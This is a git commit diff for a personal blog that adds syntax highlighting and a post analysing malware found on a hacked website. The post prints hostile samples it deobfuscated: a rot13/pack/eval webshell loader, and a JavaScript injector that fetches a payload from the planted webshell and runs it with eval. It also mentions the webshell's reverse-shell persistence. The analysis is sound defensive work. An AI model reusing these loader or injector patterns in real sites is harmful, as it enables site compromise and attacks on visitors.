write blog post on the nebita.com malware analysis
|
@ -1,3 +1,5 @@
|
||||||
|
const syntaxHighlight = require('@11ty/eleventy-plugin-syntaxhighlight')
|
||||||
|
|
||||||
module.exports = function (eleventyConfig) {
|
module.exports = function (eleventyConfig) {
|
||||||
const parseDate = (str) => {
|
const parseDate = (str) => {
|
||||||
if (str instanceof Date) {
|
if (str instanceof Date) {
|
||||||
|
@ -9,6 +11,8 @@ module.exports = function (eleventyConfig) {
|
||||||
const formatPart = (part, date) =>
|
const formatPart = (part, date) =>
|
||||||
new Intl.DateTimeFormat("en", part).format(date);
|
new Intl.DateTimeFormat("en", part).format(date);
|
||||||
|
|
||||||
|
eleventyConfig.addPlugin(syntaxHighlight)
|
||||||
|
|
||||||
eleventyConfig.addPassthroughCopy({ "src/static": "/" });
|
eleventyConfig.addPassthroughCopy({ "src/static": "/" });
|
||||||
|
|
||||||
eleventyConfig.addFilter("date_to_datetime", (obj) => {
|
eleventyConfig.addFilter("date_to_datetime", (obj) => {
|
||||||
|
|
1
TODO.md
|
@ -1 +1,2 @@
|
||||||
* default maiacore cover image
|
* default maiacore cover image
|
||||||
|
* more fitting syntax highlighting theme
|
5787
package-lock.json
generated
Normal file
13
package.json
Normal file
|
@ -0,0 +1,13 @@
|
||||||
|
{
|
||||||
|
"name": "maia.crimew.gay",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "",
|
||||||
|
"scripts": {
|
||||||
|
"build": "rm -rf www && eleventy",
|
||||||
|
"serve": "rm -rf www && eleventy --serve"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@11ty/eleventy": "^1.0.1",
|
||||||
|
"@11ty/eleventy-plugin-syntaxhighlight": "^4.0.0"
|
||||||
|
}
|
||||||
|
}
|
|
@ -5,6 +5,7 @@
|
||||||
<title>{{ title if title else site.title }}</title>
|
<title>{{ title if title else site.title }}</title>
|
||||||
|
|
||||||
<link rel="stylesheet" href="/style.css"/>
|
<link rel="stylesheet" href="/style.css"/>
|
||||||
|
<link rel="stylesheet" href="/prism.css"/>
|
||||||
|
|
||||||
<meta name="description" content="{{ description if description else site.description }}" />
|
<meta name="description" content="{{ description if description else site.description }}" />
|
||||||
<meta name='keywords' content='{% if tags %}{{ tags }},{% endif %}{{ site.tags }}'>
|
<meta name='keywords' content='{% if tags %}{{ tags }},{% endif %}{{ site.tags }}'>
|
||||||
|
|
|
@ -5,9 +5,19 @@ subhead: blog
|
||||||
{% block main %}
|
{% block main %}
|
||||||
<article>
|
<article>
|
||||||
<header class="article_header">
|
<header class="article_header">
|
||||||
|
{% if feature_image %}
|
||||||
|
<img src="{{ feature_image }}" alt="{{ feature_alt if feature_alt else "feature image for '" + title + "'" }}" style="padding-bottom: 10px;" height="auto" width="75%" layout="responsive"/>
|
||||||
|
{% endif %}
|
||||||
<div class="byline">
|
<div class="byline">
|
||||||
<time datetime="{{date | date_to_datetime }}">{{ date | date_formatted }}</time>
|
<time datetime="{{date | date_to_datetime }}">{{ date | date_formatted }}</time>
|
||||||
<span>by <span class="author by" id="author">{{ site.name }}</span></span>
|
<span>by <span class="author by" id="author">{{ site.name }}</span></span>
|
||||||
|
{% if tags %}
|
||||||
|
<span>in
|
||||||
|
{% for tag in tags %}
|
||||||
|
<span class="tag"><a href="#">{{ tag }}</a></span>{% if not loop.last %}, {% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
</span>
|
||||||
|
{% endif %}
|
||||||
</div>
|
</div>
|
||||||
<h1>{{ title }}</h1>
|
<h1>{{ title }}</h1>
|
||||||
</header>
|
</header>
|
||||||
|
|
|
@ -1,9 +0,0 @@
|
||||||
---
|
|
||||||
title: "example blog post"
|
|
||||||
date: 2022-05-31
|
|
||||||
description: "owo"
|
|
||||||
---
|
|
||||||
|
|
||||||
test
|
|
||||||
|
|
||||||
## test
|
|
173
src/posts/nebita-malware.md
Normal file
|
@ -0,0 +1,173 @@
|
||||||
|
---
|
||||||
|
title: "analyzing simple, real world PHP malware"
|
||||||
|
date: 2022-05-31
|
||||||
|
description: "a look at the malware nebita.com was infected with"
|
||||||
|
tags:
|
||||||
|
- security
|
||||||
|
- infosec
|
||||||
|
- malware
|
||||||
|
- reverse engineering
|
||||||
|
- php
|
||||||
|
feature_image: /img/posts/nebita-malware/cover.jpg
|
||||||
|
feature_alt: "a glitchy edited screenshot of the nebita.com home page"
|
||||||
|
---
|
||||||
|
|
||||||
|
In February I was contacted by [convincing](https://convinci.ng/) from [webcage](https://webca.ge/), asking whether I'd like to have a look at some malware that ended up on the [website of webcage member nebita](https://nebita.com). At that point it's been a while since i last looked into any PHP malware, or PHP stuff in general, but I agreed to at least take a quick look at it. I originally documented that work in a Twitter thread, but promised a blog post and with the Twitter account it was originally posted on being suspended that makes even more sense now.
|
||||||
|
|
||||||
|
## the beginning
|
||||||
|
|
||||||
|
![an excerpt of the heavily obfuscated php injected at the start of the index file](/img/posts/nebita-malware/index.php-excerpt.png)
|
||||||
|
|
||||||
|
Various changes were made when the site was originally owned via an insecure ftp password set by the hosting provider at the time. The sites index file had obfuscated php appended to [the start of the file](https://github.com/deletescape/nebita.com-samples/blob/main/index.php#L1) and was renamed from a plain html file to a php file, similarly the main js file had obfuscated javascript [appended at the end](https://github.com/deletescape/nebita.com-samples/blob/main/main.js#L63).
|
||||||
|
|
||||||
|
![the start of the second script dropped in a new sub directory](/img/posts/nebita-malware/second-script-screenshot.png)
|
||||||
|
|
||||||
|
Additionally [another PHP file](https://github.com/deletescape/nebita.com-samples/blob/main/2nd%20script/index.php) called `deez.php`, obfuscated using a different method, was placed in a newly created subdirectory. Based on the fact that this was a standalone script hidden in a subdirectory and the few unobfuscated variables and environment settings I assumed that this script would most likely turn out to be a [webshell](https://en.wikipedia.org/wiki/Web_shell), however I was still going to try and deobfuscate it, both for the fun of it and to make sure I was right.
|
||||||
|
|
||||||
|
## the webshell
|
||||||
|
|
||||||
|
I decided to take a look at what I assumed was a webshell first, mostly because the obvious use of [rot13](https://en.wikipedia.org/wiki/ROT13) for obfuscation made it seem like a much simpler target than the other two scripts.
|
||||||
|
|
||||||
|
So let's get a basic outline of the full script:
|
||||||
|
|
||||||
|
```php
|
||||||
|
error_reporting(E_ERROR);
|
||||||
|
@ini_set('display_errors','Off');
|
||||||
|
@ini_set('max_execution_time',20000);
|
||||||
|
@ini_set('memory_limit','256M');
|
||||||
|
header("content-Type: text/html; charset=utf-8");
|
||||||
|
$password = "9cf9ffdce70e787dd580fccee52f402e";
|
||||||
|
define('Viv, bebegim.','');
|
||||||
|
```
|
||||||
|
1. basic configuration with headers being set, as well as some sort of password 👀
|
||||||
|
```php
|
||||||
|
function s(){
|
||||||
|
$str = "66756r[...]9rr680n75o272r2463686q6s642r275q3p2s6469763r3p2s666s726q3r273o0q0n627265616o3o0q0n7q";
|
||||||
|
$str=get_str($str);
|
||||||
|
m($str);
|
||||||
|
}
|
||||||
|
function get_str($str){
|
||||||
|
$str = str_rot13($str);
|
||||||
|
return $str;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
2. a big blob of data is defined, which when run through `rot_13` turns out to still be encoded in some hexadecimal format
|
||||||
|
```php
|
||||||
|
function get1_str($str1){
|
||||||
|
$str = $str1."ck";
|
||||||
|
return $str;
|
||||||
|
}
|
||||||
|
function m($str){
|
||||||
|
global $password;
|
||||||
|
$str1="pa";
|
||||||
|
$str1=get1_str($str1);
|
||||||
|
$jj = '';
|
||||||
|
@eval(`/******/`.$jj.$str1('H*',$str).$jj);
|
||||||
|
}
|
||||||
|
s();
|
||||||
|
```
|
||||||
|
3. `$password` is turned into a global, to be used inside the packed script
|
||||||
|
4. `get1_str` and `m` are simply a very badly obfuscated call to `pack` which turns our hex encoded data into plain text php...
|
||||||
|
5. ... which then gets executed via eval, after doing some useless concatenation in an attempt to obfuscate that call
|
||||||
|
|
||||||
|
All we have to do now to get out an [unobfuscated version of the script](https://github.com/deletescape/nebita.com-samples/blob/main/2nd%20script/decoded.php) is to replace the call to `eval` with `echo` and running it. And what do we get when we do that? ...
|
||||||
|
|
||||||
|
![a screenshot of part of the webshell source code](/img/posts/nebita-malware/webshell-1.jpg)
|
||||||
|
|
||||||
|
🎉 a webshell ✨
|
||||||
|
|
||||||
|
![another screenshot of part of the webshell source code, showing some of the backdooring code](/img/posts/nebita-malware/webshell-2.jpg)
|
||||||
|
|
||||||
|
It even has some fun persistence features, including a built in way to spawn persistent reverse shells on the compromised system to back door it more permanently.
|
||||||
|
|
||||||
|
## the index file
|
||||||
|
|
||||||
|
### deobfuscation
|
||||||
|
|
||||||
|
Ok, with that out of the way let's take a look at the way more complex looking code injected in the header of the index file. The first thing i did to tackle this one was to copy all the PHP into a seperate file and formatting it, this already made it signficiantly less overwhelming.
|
||||||
|
|
||||||
|
![a screenshot of part of the formated injected malware](/img/posts/nebita-malware/index-isolated.jpg)
|
||||||
|
|
||||||
|
I then URLdecoded the long string at the start, which made it clear that it seems to be some sort of look-up table/alphabet.
|
||||||
|
|
||||||
|
```php
|
||||||
|
# before
|
||||||
|
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c";
|
||||||
|
|
||||||
|
# after
|
||||||
|
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|";
|
||||||
|
```
|
||||||
|
|
||||||
|
this quickly made it clear that this script was obfuscated by turning all strings (and method names) into array references. I first tried to undo this obfuscation by half-manually decoding the script string by string, this turned out to be way too tedious very quickly so i wrote a quick and dirty python script to automatically do it for me (with some cursed regex replacements required to join the characters into full strings (`s/"([^"]+)" . "([^"]+)"/"$1$2"/`)).
|
||||||
|
|
||||||
|
```python
|
||||||
|
script = """<full formatted but obfuscated php script here>"""
|
||||||
|
|
||||||
|
alphabet = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\\%{}!*|"
|
||||||
|
|
||||||
|
count = 0
|
||||||
|
for char in alphabet:
|
||||||
|
if char == "\"" or char == "\\":
|
||||||
|
char = "\\" + char
|
||||||
|
script = script.replace(f"$O[{count}]", f"\"{char}\"")
|
||||||
|
count = count + 1
|
||||||
|
|
||||||
|
print(script)
|
||||||
|
```
|
||||||
|
|
||||||
|
After that it was only a matter of manually renaming obfuscated variable names and figuring out what [this, now super clean, script](https://github.com/deletescape/nebita.com-samples/blob/main/decoded.php) does.
|
||||||
|
|
||||||
|
![a screenshot of the start of the now deobfuscated malware script](/img/posts/nebita-malware/index-deobfuscated.jpg)
|
||||||
|
|
||||||
|
### analysis
|
||||||
|
|
||||||
|
It turns out this script is A LOT of fun and certainly way more interesting than i expected. What it does is, it captures requests for sitemaps from search engine bots and returns sitemaps from their own backend, presumably to trick search engines into ranking spam sites higher and as related to the sites infected with this malware.
|
||||||
|
|
||||||
|
![a screenshot of some of the sitemap replacement source code](/img/posts/nebita-malware/index-sitemap.jpg)
|
||||||
|
|
||||||
|
Based on this scripts function, the little info i have on the backend as well as the fact that the webshell they used is in Chinese, I assume that the site was hacked by spammers (or their contractors) from China, who then resell traffic and search engine ranking services to others, most likely also spammers/scammers.
|
||||||
|
|
||||||
|
## the javascript
|
||||||
|
|
||||||
|
The JavaScript injected at the start of the main js file turned out to be fairly heavy but standard js obfuscation, which I was able to manually reverse step by step with a little bit of patience. I don't really have a write up on how I did that for this specific instance, but I plan to at some point talk about my process for manually deobfuscating scripts.
|
||||||
|
|
||||||
|
After a few passes of manual clean up the script turns out to be merely 27 simple lines of js:
|
||||||
|
```js
|
||||||
|
if (hasRun === undefined) {
|
||||||
|
var hasRun = true;
|
||||||
|
|
||||||
|
var HttpClient = function () {
|
||||||
|
this.get = function (url, callback) {
|
||||||
|
var request = new XMLHttpRequest();
|
||||||
|
request.onreadystatechange = function () {
|
||||||
|
if (request.readyState == 4 && request.status == 200) {
|
||||||
|
callback(request.responseText);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
request.open("GET", url, !![]);
|
||||||
|
request.send(null);
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
(function () {
|
||||||
|
if (document.referrer && !(document.referrer.indexOf(location.hostname) !== -1) && !document.cookie) {
|
||||||
|
var client = new HttpClient();
|
||||||
|
var url = location.protocol + "//nebita.com/U66c6Lzr<shortened by maia>aa8HI/deez/deez.php?id=" + Math.random().toString(36).substr(2) + Math.random().toString(36).substr(2);
|
||||||
|
client.get(url, function (response) {
|
||||||
|
// execute returned xss payload
|
||||||
|
response.indexOf("ndsx") !== -1 && eval(response);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
})();
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
So all this script did is query the webshell script for a javascript payload to execute on each load of the webpage. It's unfortunately not possible to figure out anymore what, if anything at all, was injected into the site this way, but I assume that this was the main reason for the big slowdown of the page that lead to discovering the malware in the first place (this is purely speculation though).
|
||||||
|
|
||||||
|
## the backend
|
||||||
|
|
||||||
|
So next i obviously wanted to take a look at the spammers backend and it's api, however that turned out to have been taken down already at the time.
|
||||||
|
|
||||||
|
## the malware
|
||||||
|
|
||||||
|
If you are interested in looking through the malware source code yourself, or attempt to replicate my deobfuscation attempts all files mentioned throughout this article can be found in a [GitHub repository here](https://github.com/deletescape/nebita.com-samples/). Feel free to let me know if you find anything interesting I missed!
|
BIN
src/static/img/posts/nebita-malware/cover.jpg
Normal file
After Width: | Height: | Size: 406 KiB |
BIN
src/static/img/posts/nebita-malware/index-deobfuscated.jpg
Normal file
After Width: | Height: | Size: 85 KiB |
BIN
src/static/img/posts/nebita-malware/index-isolated.jpg
Normal file
After Width: | Height: | Size: 234 KiB |
BIN
src/static/img/posts/nebita-malware/index-sitemap.jpg
Normal file
After Width: | Height: | Size: 100 KiB |
BIN
src/static/img/posts/nebita-malware/index.php-excerpt.png
Normal file
After Width: | Height: | Size: 102 KiB |
BIN
src/static/img/posts/nebita-malware/second-script-screenshot.png
Normal file
After Width: | Height: | Size: 644 KiB |
BIN
src/static/img/posts/nebita-malware/webshell-1.jpg
Normal file
After Width: | Height: | Size: 61 KiB |
BIN
src/static/img/posts/nebita-malware/webshell-2.jpg
Normal file
After Width: | Height: | Size: 142 KiB |
193
src/static/prism.css
Normal file
|
@ -0,0 +1,193 @@
|
||||||
|
/**
|
||||||
|
* xonokai theme for JavaScript, CSS and HTML
|
||||||
|
* based on: https://github.com/MoOx/sass-prism-theme-base by Maxime Thirouin ~ MoOx --> http://moox.fr/ , which is Loosely based on Monokai textmate theme by http://www.monokai.nl/
|
||||||
|
* license: MIT; http://moox.mit-license.org/
|
||||||
|
*/
|
||||||
|
code[class*="language-"],
|
||||||
|
pre[class*="language-"] {
|
||||||
|
-moz-tab-size: 2;
|
||||||
|
-o-tab-size: 2;
|
||||||
|
tab-size: 2;
|
||||||
|
-webkit-hyphens: none;
|
||||||
|
-moz-hyphens: none;
|
||||||
|
-ms-hyphens: none;
|
||||||
|
hyphens: none;
|
||||||
|
white-space: pre;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-wrap: normal;
|
||||||
|
font-family: Menlo, Monaco, "Courier New", monospace;
|
||||||
|
font-size: 14px;
|
||||||
|
color: #76d9e6;
|
||||||
|
text-shadow: none;
|
||||||
|
}
|
||||||
|
pre[class*="language-"],
|
||||||
|
:not(pre) > code[class*="language-"] {
|
||||||
|
background: #2a2a2a;
|
||||||
|
}
|
||||||
|
pre[class*="language-"] {
|
||||||
|
padding: 15px;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid #e1e1e8;
|
||||||
|
overflow: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
pre[class*="language-"] {
|
||||||
|
position: relative;
|
||||||
|
}
|
||||||
|
pre[class*="language-"] code {
|
||||||
|
white-space: pre;
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
|
||||||
|
:not(pre) > code[class*="language-"] {
|
||||||
|
padding: 0.15em 0.2em 0.05em;
|
||||||
|
border-radius: .3em;
|
||||||
|
border: 0.13em solid #7a6652;
|
||||||
|
box-shadow: 1px 1px 0.3em -0.1em #000 inset;
|
||||||
|
}
|
||||||
|
.token.namespace {
|
||||||
|
opacity: .7;
|
||||||
|
}
|
||||||
|
.token.comment,
|
||||||
|
.token.prolog,
|
||||||
|
.token.doctype,
|
||||||
|
.token.cdata {
|
||||||
|
color: #6f705e;
|
||||||
|
}
|
||||||
|
.token.operator,
|
||||||
|
.token.boolean,
|
||||||
|
.token.number {
|
||||||
|
color: #a77afe;
|
||||||
|
}
|
||||||
|
.token.attr-name,
|
||||||
|
.token.string {
|
||||||
|
color: #e6d06c;
|
||||||
|
}
|
||||||
|
.token.entity,
|
||||||
|
.token.url,
|
||||||
|
.language-css .token.string,
|
||||||
|
.style .token.string {
|
||||||
|
color: #e6d06c;
|
||||||
|
}
|
||||||
|
.token.selector,
|
||||||
|
.token.inserted {
|
||||||
|
color: #a6e22d;
|
||||||
|
}
|
||||||
|
.token.atrule,
|
||||||
|
.token.attr-value,
|
||||||
|
.token.keyword,
|
||||||
|
.token.important,
|
||||||
|
.token.deleted {
|
||||||
|
color: #ef3b7d;
|
||||||
|
}
|
||||||
|
.token.regex,
|
||||||
|
.token.statement {
|
||||||
|
color: #76d9e6;
|
||||||
|
}
|
||||||
|
.token.placeholder,
|
||||||
|
.token.variable {
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
.token.important,
|
||||||
|
.token.statement,
|
||||||
|
.token.bold {
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
.token.punctuation {
|
||||||
|
color: #bebec5;
|
||||||
|
}
|
||||||
|
.token.entity {
|
||||||
|
cursor: help;
|
||||||
|
}
|
||||||
|
.token.italic {
|
||||||
|
font-style: italic;
|
||||||
|
}
|
||||||
|
|
||||||
|
code.language-markup {
|
||||||
|
color: #f9f9f9;
|
||||||
|
}
|
||||||
|
code.language-markup .token.tag {
|
||||||
|
color: #ef3b7d;
|
||||||
|
}
|
||||||
|
code.language-markup .token.attr-name {
|
||||||
|
color: #a6e22d;
|
||||||
|
}
|
||||||
|
code.language-markup .token.attr-value {
|
||||||
|
color: #e6d06c;
|
||||||
|
}
|
||||||
|
code.language-markup .token.style,
|
||||||
|
code.language-markup .token.script {
|
||||||
|
color: #76d9e6;
|
||||||
|
}
|
||||||
|
code.language-markup .token.script .token.keyword {
|
||||||
|
color: #76d9e6;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Line highlight plugin */
|
||||||
|
pre[class*="language-"][data-line] {
|
||||||
|
position: relative;
|
||||||
|
padding: 1em 0 1em 3em;
|
||||||
|
}
|
||||||
|
pre[data-line] .line-highlight {
|
||||||
|
position: absolute;
|
||||||
|
left: 0;
|
||||||
|
right: 0;
|
||||||
|
padding: 0;
|
||||||
|
margin-top: 1em;
|
||||||
|
background: rgba(255, 255, 255, 0.08);
|
||||||
|
pointer-events: none;
|
||||||
|
line-height: inherit;
|
||||||
|
white-space: pre;
|
||||||
|
}
|
||||||
|
pre[data-line] .line-highlight:before,
|
||||||
|
pre[data-line] .line-highlight[data-end]:after {
|
||||||
|
content: attr(data-start);
|
||||||
|
position: absolute;
|
||||||
|
top: .4em;
|
||||||
|
left: .6em;
|
||||||
|
min-width: 1em;
|
||||||
|
padding: 0.2em 0.5em;
|
||||||
|
background-color: rgba(255, 255, 255, 0.4);
|
||||||
|
color: black;
|
||||||
|
font: bold 65%/1 sans-serif;
|
||||||
|
height: 1em;
|
||||||
|
line-height: 1em;
|
||||||
|
text-align: center;
|
||||||
|
border-radius: 999px;
|
||||||
|
text-shadow: none;
|
||||||
|
box-shadow: 0 1px 1px rgba(255, 255, 255, 0.7);
|
||||||
|
}
|
||||||
|
pre[data-line] .line-highlight[data-end]:after {
|
||||||
|
content: attr(data-end);
|
||||||
|
top: auto;
|
||||||
|
bottom: .4em;
|
||||||
|
}
|
||||||
|
/* Line highlighting */
|
||||||
|
.highlight-line {
|
||||||
|
padding: 0.125rem .75rem;
|
||||||
|
}
|
||||||
|
.highlight-line:empty {
|
||||||
|
min-height: 1.5rem;
|
||||||
|
}
|
||||||
|
/* .highlight-line:not(:empty):not(:last-child) {
|
||||||
|
border-bottom: 1px dashed #373737;
|
||||||
|
} */
|
||||||
|
.highlight-line.highlight-line.highlight-line-active,
|
||||||
|
.highlight-line.highlight-line.highlight-line-add,
|
||||||
|
.highlight-line.highlight-line.highlight-line-remove {
|
||||||
|
border-color: transparent;
|
||||||
|
}
|
||||||
|
.highlight-line-isdir {
|
||||||
|
color: #b0b0b0;
|
||||||
|
background-color: #222;
|
||||||
|
}
|
||||||
|
.highlight-line-active {
|
||||||
|
background-color: #444;
|
||||||
|
background-color: hsla(0, 0%, 27%, .8);
|
||||||
|
}
|
||||||
|
.highlight-line-add {
|
||||||
|
background-color: hsla(126, 31%, 39%, 0.5);
|
||||||
|
}
|
||||||
|
.highlight-line-remove {
|
||||||
|
background-color: hsla(0, 51%, 37%, 0.5);
|
||||||
|
}
|
|
@ -53,6 +53,14 @@ time, .author {
|
||||||
margin: 0.1rem;
|
margin: 0.1rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
img {
|
||||||
|
max-width: 75%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tag {
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
.lavender-webring-container {
|
.lavender-webring-container {
|
||||||
all: unset;
|
all: unset;
|
||||||
display: flex;
|
display: flex;
|
||||||
|
|